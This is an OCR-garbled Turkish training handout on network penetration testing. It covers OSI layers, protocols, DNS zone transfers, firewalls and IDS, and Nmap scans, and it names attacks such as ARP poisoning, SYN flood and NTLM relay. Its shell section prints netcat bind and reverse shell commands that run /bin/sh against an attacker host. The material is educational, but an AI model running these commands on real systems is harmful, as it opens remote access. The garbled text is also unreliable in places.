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NETWORK GUVENLIK TESTLERI

OSI (Open Source Interconnection) Katmanlari



Sizma Testi, risk analizi zafiyet tarama gibi islemler yapilirken ag yapisinin nasil tasarlandigi, agin nasil
calistigl, hangi ag protokollerinin ag (izerinde calistiginin bilinmesi cok 6nemlidir. Bu bélimde temel
network kavramlari anlatilacak agdaki cihazlarin gérevleri hakkinda bilgiler verilecek, ag cihazlarinda
calisan protokoller incelenecektir. Bu bolimde dinleyicinin ag yapisi ve protokolleri hakkinda 6n bilgi
sahibi olmasi amaglaniimstir.
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Fiziksel Katman (Physical Layer)

Fiziksel katman 1 ve 0 sinyallerinin tasindigi katmandir. Bu katmanin gorevi dijital sinyali tasimaktir. CAT5
kablo CAT6 kablo, fiber kablolar ve sinyali zayifladigi anda sinyali yeniden gii¢clendirerek lireten
tekrarlayicilar bu katmanda calisir. Ayrica en ilkel ag cihazlarindan biri olan HUB cihazida bu katmanda
gorev alir.

HUB cihazi, bir portundan aldigi veriyi diger tim portlarina ileterek, ag icerisindeki iletisimi devam
ettiren bir cihazdir.

Veri Baglanti Katmani (Data Link Layer)

Bu katman ag ici iletisimi saglar. Veri baglantisi katmani donanim katmanina erismek ve kullanmak ile
ilgili kurallari belirler. Veri baglantisi katmaninin biyuk bir bélimu ag karti icinde gerceklesir. Veri



baglantisi katmani ag lizerindeki diger bilgisayarlari tanimlama, kablonun o anda kimin tarafindan
kullanildiginin tespiti ve fiziksel katmandan gelen verinin hatalara karsi kontrolil gérevini yerine getirir.

Switchler, Gizerinde bulunan MAC tablosuna gore frame'leri ilgili yere gonderir. MAC Tablosunda fiziksel
portlar ve ilgili porta bagh olan cihaz ya da cihazlarin MAC adresleri liste halinde bulunur.

Switchfshow mac-address-table dynamic
Mac Address Table

Vlian Mac Address Type Borts
10 0001.c7ad.e3le DYNAMIC FaO/24
10 0002.4ab7.1701 DYNAMIC Fa0O/24
11 0001.c7ad.e3le DYNAMIC FaO/24
11 0002.4ab7.1701 DYNAMIC FaO/24
12 0001.c7ad.e3le DYNAMIC FaO/24
1z 0002.4ab7.1701 DYNAMIC Fa0O/24
1z 000d.bdS94 .eb58 DYNAMIC Fa0/1
1z 00€0.3e5c.bald DYNAMIC FaO/2
12 00e0.£934 _.e3c4 DYNAMIC Fa0/3
13 0001.c7ad.e3le DYNAMIC Fa0O/24
13 0002 .4ab7.1701 DYNAMIC FaO/24

Switchg

(Mac Flood)

Ag Katmani (Network Layer)

Network katmani networkler arasi iletisimi saglamakla gorevlidir. Bu katmanda yénlendirme cihazi gérev
yapar. Bu cihazin gorevi farkh aglar birbirine baglamaktir. IP, ICMP ve ARP protokolleri bu katmanda
gorev yapar. ARP Protokoliinlin gorevi IP adresinden MAC adres ¢6ziimlemesidir.

(ARP Poisoning)

Nakil Katmani (Transport Layer)

Uctan uca iletisimi saglayan katmandir. Port, network servislerinin baglanti kurabilmesi icin sistem
Gzerinde agilmasi gereken sanal iletisim noktalaridir. TCP ve UDP bu katmanda ¢alisir. Bilgisayarinizda
acik olan portlari gérintilemek icin windows kullaniyorsaniz terminal agarak “ netstat -an” komutu,
Linux kullaniyorsaniz, “netstat -tuna” komutunu kullanabilirsiniz.

TCP (Transmission Control Procotol)



3’lu el sikisma yontemini kullanarak transfer edilen verinin karsi tarafa gidip gitmedigini, veri kaybi olup
olmadigini kontrol eder.

Server

SYN-ACK

Connection egablished

= >

(SYN Flood)



Attacker

Visitor

UDP (User Data Gram Protokol)

Open port. Waiting for ACK:.
Open port. Waiting for ACK
Open port. Waiting for ACK:
Open port. Waiting for ACK

5 x Connections
exhausted

UDP Protokoliinde herhangi bir onaylama mekanizmasi yoktur. Hizli iletisim igin gereken yerlerde
kullanilir. VolP, Stream vb.
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(UDP Flood)

TCP vs UDP Communication
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DDos attack - UPD flooding
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rsource exhausted
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Oturum Katmani (Session Layer)

iki bilgisayar arasinda oturum agilmasi, devam ettirilmesini ve kapatilmasindan sorumlu olan katmandir.

SMB (Dosya paylasimlari icin kullanilir), NFS (Ag Dosya Sistemi, agda birden fazla bilgisayar Gzerinde
bulunan cesitli dosyalarin tek bilgisayardaymis gibi kullanilmasina olanak saglayan protokol) bu
katmanda calisir.

(NTLM Relay Attack)
(SMB Exec)

Sunum Katmani (Presentation Layer)

Verinin formatinin belirlendigi katmandir. Veri sikistirma, sifreleme bu katmanda yapilir. Bu katman igin
ASCII kodlar ve jpeg 6rnek olarak verilebilir.

(Ransomware Attack)

Uygulama Katmani (Application Layer)

Uygulamalarin galistigi katmandir. HTTP,FTP,DNS,SNMP,TFTP,HTTPS,DHCP,SMTP,TELNET,SSH,RDP gibi
protokoller bu katmanda calisir.



Protokol Detaylari

Bu baslikta bazi dnemli protokoller hakkinda tanimlar yapilmis ve islevleri kisaca dzetlenmistir. Onemli
protokoller hakkinda bilgi sahibi olunmasi amaclanmistir.

HTTP

HTTP (Hyper-Text Transfer Protocol), bir kaynaktan dagitilan ve ortak kullanima acik olan hiperortam
bilgi sistemleri icin uygulama seviyesinde bir iletisim kuralidir. TCP 80. Portu kullanir.

HTTPS

HTTPS, HTTP Protokolinin sifreli halidir. TCP 443. Portu kullanir.

FTP

File Transfer protocol (dosya aktarim protokolii) dosyalarn aktarimini saglar. FTP 20 ve 21 numarah TCP
portlarini kullanir.

SNMP

Basit ag yonetim protokoli (Simple Network Management Protocol) agdaki cihazlarin durumunu kontrol
eden ve bunlari merkeze bildiren bir protokoldir. Ag cihazlari hakkinda gesitli bilgileri merkeze aktarir
UDP 161. Portu kullanir.

(SNMP Enumeration)



root@kali: ~

File Edit View Search Terminal Help
Try to connect to 41 . s
Conne to 4] . veemiem
Starting enumeration at 2014-05-25 14:28:26

System information

ntion
ADVIPSERVIC

SMTP

Simple Mail Transfer Protokol mail transferlerini saglayan protokoldtr. TCP 25. Portu kullanir. IMAP ve
POP3 protokolleri de benzer islevlere sahiptir.

SSH

Secure shell uzaktaki bir makineye baglanti kurulmasini ve cihaz Gzerinde komut calistiriimasini saglayan
protokoldir. Baglantiyi sifreli kurarak Givenlik saglar. TCP 22. Portu kullanir.

Telnet

Uzaktaki bir makineye baglanti kurulmasini ve cihaz lGizerinde komut calistirilmasini saglayan
protokolddr. Veri iletisimi acik haldedir, sifresizdir. Glvenli degildir.




RDP

Remote Desktop Protocol, bir bilgisayarin masadstiinii uzaktan gérintilemeyi saglar. Default olarak TCP
3389. Portu kullanir.

saL

Struct Query Language, veri tabani programlama dilidir. Veri tabani sunucularina érnek olarak; MySQL ve
MSSQL verilebilir. SQL sunuculari Gzerinde veri tabanlarini tutarlar.

SSL

Secure Socket Layer, veri iletisiminin sifreli sekilde yapilmasi saglanir. SSL sertifikalari sayesinde sitelerin
adreslerinin dogrulugu kontrol edilir.

= [ |

LA v

. Server sends back Client checks the certificate, creates and sends
Fllent messages server to an encrypted an encrypted key back to the server
initiate SSL/TLS communication public key/certificate. (If the certificate is not ok, the communication fails)

— He, » =

Server decrypts the key and delivers Client decrypts the content
encrypted content with key to the client completing the SSL/TLS handshake

TFTP

Trivial File Transfer protocol, dosya aktarimi saglayan bir protokoldir. UDP 69. Portu kullanir. Baglanti
icin kullanici adi ve parola kullanilmamasi ve verinin sifrelenmeden iletilmesinden dolayi TFTP ile yapilan
dosya aktarimlari kesinlikle glivensizdir.

Domain Nedir?



Domain, dilimizde alan adi olarak cevirilebilir. Alan adi internette yayinlanan bir web sitesinin ismidir.
Ornegin; www.lostar.com.tr érnegindeki Lostar.com.tr bir alan adidir. Alan adlarinin sahip oldugu .com,
.edu, .tr gibi uzantilar ise en Ust seviye alan adidir. (TLD: Top Level Domain Name). Ornegin, com
ingilizce “commercial” kelimesinin kisaltmasidir. Yani ticari siteleri ifade eden bir Ust seviye alan adidir.

DNS (Domain Name System)

Internet Uzerinde ¢alisan cihazlarin IP Adresleri ile islem yaptiklari belirtilmisti. DNS etki alan
sistemlerinden IP adresi ¢ozimlemeye yarayan sistemdir.

Recursive Sorgular

Recursive sorguda; Local DNS IP adresini bilmiyorsa diger DNS’lerden cevabi 6grenerek cevabi verir.
Sorguya tam yanit ya da hata mesaji déner.

Iterative Sorgular

Iterative sorguda, genellikle DNS sunucularinin birbirlerine yaptiklari no recursive sorgulardir.

Iterative Query

& - .
End Users ISP DNS server Root Hint
Recursive NS Server

4

Recursive query

o tld level
Authoritative server

dns server

Iterative query



http://www.lostar.com.tr/

(DNS Amplification)

DNS Kayitlari ve DNS Kayit Tipleri

DNS sunucularinin tzerlerinde bir takim kayitlar tutarlar. Bu kayitlar ve gorevleri asagidaki tabloda

verilmistir.
DNS Kayit Tipi islevi
A Alan adinin IP adresini tutan kayit.
MX Alan adina ait mail sunucusunu gosteren kayit.
NS ilgili alan adindan sorumlu dns sunucuyu
gosteren kayit.
TXT DNS Sunucunun 6zelliklerini gdsteren kayit.
PTR IP Adresine karsilik gelen alan adinin tutuldugu
kayit.
DNS Zone

Bir DNS sunucu tarafindan yonetilen etki alanina zone denir. Zone igerisinde ise kayit bilgileri bulunur.




webadresim.xyz DNS Alani Yonetimi

Name Type
webadresim.xyz. NS
webadresim. xy2. NS
ftp A
mail A
pop B
smtp A
webadresim.xyz. A
WWW A
webadresim. xyz. MX
webadresim.xyz. @Y

Varsaydana Sifirla

DNS Kaydi Ekle

Name Type

A

webadresion xy2 MX
adre oy CNAME

webadresimayz ™>T
esela: {abriks AAAL

Override TTL Value TTL

(DNS Zone Transferi)

Value

pt.hosting.com.tr.

p2.hostung.com.tr.

77.245.159.45
77.245.159.45
77.24
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o) - Remote Desktop Connection

x DNS Manager

File Action View LA lLpadi [ 2] X]

@ $ l 7_1 el | , ' General I Start of Authority [SOA) | Mame Servers
= ﬁ - WINS Zone Transfers I Security
] Global Logs

[= | Forward Lot
=] _msdcs.

A zone transfer sends a copy of the zone to the servers that request a copy.

IV Allow zone transfers:

=8 :
e ( To any server
=4 )

= autodist " Only to servers listed on the Name Servers tab

i autod!sc " Only to the following servers

= autodist

= | autodisc IP Address | Server FGDN |

- autodist

4=5

- autodist

y=d

Zone transfer konfligrasyonu dogru ayarlanmadiysa, 3. Sahislar dns sunucusundaki tiim zone’a erisebilir.

BIND DNS Yapilandirmasi:

Sadece 192.168.0.3 IP adresi zone transfer izni vardir.

allow-transfer {192.168.0.3;};

Hig bir istemci zone transferi yapamaz.

[important]allow-transfer {"none";};

Eger hig yapilandirma Yoksa default olarak biitiin istemciler zone transfer islemi yapabilir ve zone’a
ulasabilir.



; <<>> DIG 9.9.2-P1 <<>> @nsl.example.com example.com axfr

; (1 server found)

;; global options: +cmd

example.com. 3600 IN SOA nsl.example.com. hostmaster.example.com.
2009051396 1800 600 86400 3600

example.com. 3600 IN A 1.1.1.201

example.com. 3600 IN NS nsl.example.com.
example.com. 3600 IN NS ns2.example.com.
example.com. 3600 IN NS nspl.example.com.
example.com. 3600 IN NS nsp2.example.com.
example.com. 3600 IN NS ns4.example.com.
example.com. 3600 IN MX 10 mail.example.com.

example.com. 3600 IN TXT “v=spfl mxptrip4:1.1.1.1 +all”
mail.example.com. 3600 IN A 1.1.1.1

nsl.example.com. 3600 IN A 1.1.1.2

nsl0.example.com. 3600 IN A 213.139.193.2
ns2.example.com. 1200 IN A 1.1.15

ns2.example.com. 1200 IN AAAA 2002:5d5e:f903::5d5e:f903
ns20.example.com. 3600 IN A 1.1.15

ns4.example.com. 3600 IN A 1.1.1.22

nspl.example.com. 3600 IN A 1113

nsp2.example.com. 3600 IN A 123.123.123.123
webmail.example.com. 3600 IN A 1.1.1.25
wiki.example.com. 3600 IN A 1.1.1.4

wpad.example.com. 1200 IN A 127.0.0.1

www.example.com. 3600 IN A 1.1.1.201

example.com. 3600 IN SOA nsl.example.com. hostmaster.example.com.
2009051396 1800 600 86400 3600

;; Query time: 33 msec

;» SERVER: 1.1.1.2#53(1.1.1.2)

;» WHEN: Sun Jul 21 01:37:24 2013

. XFR size: 23 records (messages 23, bytes 1308)



Guvenlik Duvari (Firewall)

Guvenlik duvari, tzerinde konumlandirilmis kurallara gore, gelen saldiri trafigini engellemek lzere
Uretilmis donanimsal, yazilimsal yapidir. Katman 4 tabanl ¢alisan Gilvenlik duvari sadece port bazli
engelleme yapabilirken, katman 7 seviyesinde calisan Glvenlik duvari uygulamaya yonelik denetim
yaparlar.

WAF

Web Application Firewall, imzalarini web uygulamalarina gore yapilandirarak web temelli saldirilari
engellemeye yonelik ¢alisirlar.

(SQL Injection)

https://testphp.vulnweb.com

IPS

Katman 7 imzalar kullanarak uygulama seviyesinde gelen ataklari analiz eder ve durdurur.

IDS

Intrusion Detection System, zararli trafigi analiz eder ve LOG tutar.


https://testphp.vulnweb.com/

IDS/IPS Topoloji

FIREWALL




Intrusion Detection System Intrusion Prevention System

Attacker % Attacker ‘-l
. _\ntemet [-“)ntemet
\
!
- Firewall
[

IDS

Switch I Switch

cdrpLAN

Management System i é Management System é é

Network Scanning & Detection Evasion

Alert

Bilgi toplama safhasinda, agdaki bilgisayarlarin IP adresleri, agin topolojisi, bilgisayarlar tGzerindeki agik
portlarin bulunmasi, bilgisayarlar (izerinde ¢alisan isletim sistemleri ve versiyonlari, portlar tizerinde
¢alisan servislerin versiyonlari, sistemler izerindeki zafiyet taramalari yapilabilir.

Agdaki Hostlarin Kesfi

Nmap (ICMP & ARP)

TCP Taramasi

Nmap (-sT)



SYN Taramasi

Nmap (-sS)

UDP Taramasi

Nmap (-sU)

XMass Taramasi

Hedef porta FIN,URG ve PUSH flagli paketler gonderilir. RST donmemesi beklenir.

Isletim Sistemi Tespiti

Nmap (-O)

Servis ve Versiyon Tespiti

Nmap (-sV)

Zafiyet Taramasi

Nmap (--script)

Soket Baglanti Turleri

BIND Shell Kavrami

NC

Netcat aracli ile agdan veri gondermek, port tarama yapmak, tersine kanal agmak, uzaktan komut
¢ahstirmak, arka kapi birakmak, dosya transfer etmek igin kullanilan bir aragtir.



Netcat Bind shell

Attackbox Target
192.168.1.1 192.168.1.2

TCP connection port 4444

www.hackingtutorials.org

nc 192.168.1.2 4444 nc -lvp 4444 -e /bin/sh

Reverse Shell Kavrami

Netcat Reverse shell

Attackbox Target
192.168.1.1 192.168.1.2

TCP connection port 4444

www.hackingtutorials.org

nc -lvp 4444 nc 192.168.1.1 4444 -e /bin/sh




Shell bloqué par le firewall

nc

Frewall bloquant
les connexions

Mode client :
43.21.43.21 1234

Pirate
(43.21.43.21)

Reverse Shell

entrantes
' Mode d écoute :
nc -1 -p 1234
~-& /bin/sh
Victime
(12.34.567.89)
Frewall bloguant
les comnexions
entrantes
Mode client :

Mode d ecoute :
ne -1 -p 1234 (

Pirate
(43.21.43.21)

(Wireshark)
(SBD)

TUnelleme Teknikleri

a ne 43.21.43.21 1234
~@ /bin/gh
Ly )

Victime

(12.34.567.89)

Bazi durumlarda dosya paylasimlari igin gerekli ortamlar (web sunucu, TFTP, FTP vb.) kurulmus olsa dahi
glvenlik cihazlari ag trafigini engellemektedir. Bu kimi zaman port bazli kimi zaman imza bazli
yapilabilmektedir. Konfiglirasyon hatalarindan, personelin yeterli bilgi dlizeyine sahip olmamasi gibi
nedenlerden 6turi tinelleme teknikleri kullanilarak Glivenlik cihazlar atlatilabilmektedir. Glvenlik
duvari ve saldiri tespit sistemlerinin tiinelleme yontemleri ile test edilerek eger tiinelleme
yapilabiliyorsa, tlinellemenin yapildigi zayif noktalara katman 7 imzalari yazilarak bu tarz saldirilar
engellenmelidir.



SSH Tunelleme

(ssh)

ICMP Tunelleme

(ptunnel-ng)



